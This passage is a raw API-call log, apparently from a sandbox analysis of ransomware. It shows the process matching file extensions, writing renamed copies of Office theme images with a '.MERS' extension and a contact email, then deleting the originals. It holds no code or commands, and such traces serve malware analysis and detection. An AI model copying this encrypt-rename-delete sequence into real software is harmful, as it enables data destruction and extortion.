Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.463] lstrlenW (lpString=".zip") returned 4 [0048.463] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.463] lstrlenW (lpString=".rar") returned 4 [0048.463] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.464] lstrlenW (lpString=".bz2") returned 4 [0048.464] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.464] lstrlenW (lpString=".7z") returned 3 [0048.464] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.464] lstrlenW (lpString=".dbf") returned 4 [0048.464] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.464] lstrlenW (lpString=".1cd") returned 4 [0048.464] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0048.464] lstrlenW (lpString=".jpg") returned 4 [0048.464] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.464] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.464] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.465] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1347) returned 1 [0048.465] CloseHandle (hObject=0x17c) returned 1 [0048.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0048.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.465] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.465] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.473] GetLastError () returned 0x0 [0048.473] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x543, lpOverlapped=0x0) returned 1 [0048.491] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0048.492] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.492] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.492] SetEndOfFile (hFile=0x210) returned 1 [0048.493] CloseHandle (hObject=0x210) returned 1 [0048.493] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.493] SetEndOfFile (hFile=0x17c) returned 1 [0048.493] CloseHandle (hObject=0x17c) returned 1 [0048.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.494] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 1 [0048.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.494] lstrlenW (lpString=".doc") returned 4 [0048.494] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.494] lstrlenW (lpString=".docx") returned 5 [0048.494] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.494] lstrlenW (lpString=".pdf") returned 4 [0048.494] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.494] lstrlenW (lpString=".xls") returned 4 [0048.494] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.494] lstrlenW (lpString=".xlsx") returned 5 [0048.494] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.494] lstrlenW (lpString=".ppt") returned 4 [0048.494] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.494] lstrlenW (lpString=".zip") returned 4 [0048.494] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.494] lstrlenW (lpString=".rar") returned 4 [0048.494] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.494] lstrlenW (lpString=".bz2") returned 4 [0048.494] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.494] lstrlenW (lpString=".7z") returned 3 [0048.495] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.495] lstrlenW (lpString=".dbf") returned 4 [0048.495] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.495] lstrlenW (lpString=".1cd") returned 4 [0048.495] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.495] lstrlenW (lpString=".jpg") returned 4 [0048.495] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.495] lstrlenW (lpString=".doc") returned 4 [0048.495] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.495] lstrlenW (lpString=".docx") returned 5 [0048.495] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.495] lstrlenW (lpString=".pdf") returned 4 [0048.495] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.495] lstrlenW (lpString=".xls") returned 4 [0048.495] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.495] lstrlenW (lpString=".xlsx") returned 5 [0048.495] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.495] lstrlenW (lpString=".ppt") returned 4 [0048.495] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.495] lstrlenW (lpString=".zip") returned 4 [0048.495] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.495] lstrlenW (lpString=".rar") returned 4 [0048.495] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.495] lstrlenW (lpString=".bz2") returned 4 [0048.495] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.495] lstrlenW (lpString=".7z") returned 3 [0048.495] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.495] lstrlenW (lpString=".dbf") returned 4 [0048.496] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.496] lstrlenW (lpString=".1cd") returned 4 [0048.496] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF") returned 72 [0048.496] lstrlenW (lpString=".jpg") returned 4 [0048.496] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.496] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.496] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.498] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1354) returned 1 [0048.498] CloseHandle (hObject=0x17c) returned 1 [0048.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0048.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.499] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.499] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.504] GetLastError () returned 0x0 [0048.504] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x54a, lpOverlapped=0x0) returned 1 [0048.537] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x550, lpOverlapped=0x0) returned 1 [0048.537] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.537] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.537] SetEndOfFile (hFile=0x210) returned 1 [0048.538] CloseHandle (hObject=0x210) returned 1 [0048.538] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.538] SetEndOfFile (hFile=0x17c) returned 1 [0048.538] CloseHandle (hObject=0x17c) returned 1 [0048.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.539] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0048.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.539] lstrlenW (lpString=".doc") returned 4 [0048.539] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.539] lstrlenW (lpString=".docx") returned 5 [0048.539] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.539] lstrlenW (lpString=".pdf") returned 4 [0048.539] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.539] lstrlenW (lpString=".xls") returned 4 [0048.539] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.539] lstrlenW (lpString=".xlsx") returned 5 [0048.539] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.539] lstrlenW (lpString=".ppt") returned 4 [0048.539] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.539] lstrlenW (lpString=".zip") returned 4 [0048.539] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.539] lstrlenW (lpString=".rar") returned 4 [0048.539] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.539] lstrlenW (lpString=".bz2") returned 4 [0048.539] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.539] lstrlenW (lpString=".7z") returned 3 [0048.539] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.540] lstrlenW (lpString=".dbf") returned 4 [0048.540] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.540] lstrlenW (lpString=".1cd") returned 4 [0048.540] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.540] lstrlenW (lpString=".jpg") returned 4 [0048.540] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.540] lstrlenW (lpString=".doc") returned 4 [0048.540] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.540] lstrlenW (lpString=".docx") returned 5 [0048.540] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.540] lstrlenW (lpString=".pdf") returned 4 [0048.540] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString=".xls") returned 4 [0048.540] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString=".xlsx") returned 5 [0048.540] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.540] lstrlenW (lpString=".ppt") returned 4 [0048.540] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.540] lstrlenW (lpString=".zip") returned 4 [0048.540] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString=".rar") returned 4 [0048.540] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString=".bz2") returned 4 [0048.540] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.540] lstrlenW (lpString=".7z") returned 3 [0048.540] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.540] lstrlenW (lpString=".dbf") returned 4 [0048.541] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.541] lstrlenW (lpString=".1cd") returned 4 [0048.541] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0048.541] lstrlenW (lpString=".jpg") returned 4 [0048.541] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.541] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.541] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.542] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=60724) returned 1 [0048.542] CloseHandle (hObject=0x17c) returned 1 [0048.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0048.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0048.542] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.542] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.542] GetLastError () returned 0x0 [0048.542] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0xed34, lpOverlapped=0x0) returned 1 [0048.545] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0048.546] ReadFile (in: hFile=0x17c, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.546] WriteFile (in: hFile=0x210, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.546] SetEndOfFile (hFile=0x210) returned 1 [0048.546] CloseHandle (hObject=0x210) returned 1 [0048.547] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.547] SetEndOfFile (hFile=0x17c) returned 1 [0048.552] CloseHandle (hObject=0x17c) returned 1 [0048.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.553] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0048.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.553] lstrlenW (lpString=".doc") returned 4 [0048.553] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.553] lstrlenW (lpString=".docx") returned 5 [0048.553] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.553] lstrlenW (lpString=".pdf") returned 4 [0048.553] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.553] lstrlenW (lpString=".xls") returned 4 [0048.553] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.553] lstrlenW (lpString=".xlsx") returned 5 [0048.553] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.553] lstrlenW (lpString=".ppt") returned 4 [0048.553] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.553] lstrlenW (lpString=".zip") returned 4 [0048.553] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.553] lstrlenW (lpString=".rar") returned 4 [0048.553] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.553] lstrlenW (lpString=".bz2") returned 4 [0048.553] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.553] lstrlenW (lpString=".7z") returned 3 [0048.553] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.553] lstrlenW (lpString=".dbf") returned 4 [0048.554] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.554] lstrlenW (lpString=".1cd") returned 4 [0048.554] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.554] lstrlenW (lpString=".jpg") returned 4 [0048.554] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0048.554] lstrlenW (lpString=".doc") returned 4 [0048.554] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.554] lstrlenW (lpString=".docx") returned 5 [0048.554] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.554] lstrlenW (lpString=".pdf") returned 4 [0048.554] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.554] lstrlenW (lpString=".xls") returned 4 [0048.554] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.554] lstrlenW (lpString=".xlsx") returned 5 [0048.554] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.554] lstrlenW (lpString=".ppt") returned 4 [0048.554] lstrcmpiW 